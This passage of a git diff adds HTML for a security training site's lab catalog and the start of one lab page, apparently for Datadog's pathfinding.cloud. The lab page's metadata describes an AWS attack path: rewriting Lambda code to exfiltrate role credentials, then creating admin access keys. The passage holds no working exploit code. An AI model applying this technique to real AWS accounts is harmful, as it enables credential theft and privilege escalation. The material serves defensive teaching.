+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/lambda-004-to-iam-002-to-admin/index.html b/docs/labs/lambda-004-to-iam-002-to-admin/index.html
new file mode 100644
index 00000000..3824e444
--- /dev/null
+++ b/docs/labs/lambda-004-to-iam-002-to-admin/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Lambda Code Update + Access Key Creation to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Update Lambda function code to exfiltrate execution role credentials, then use those credentials to create access keys for an admin user">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/lambda-004-to-iam-002-to-admin/">
+    <meta property="og:title" content="Lambda Code Update + Access Key Creation to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Update Lambda function code to exfiltrate execution role credentials, then use those credentials to create access keys for an admin user">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Lambda Code Update + Access Key Creation to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Update Lambda function code to exfiltrate execution role credentials, then use those credentials to create access keys for an admin user">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
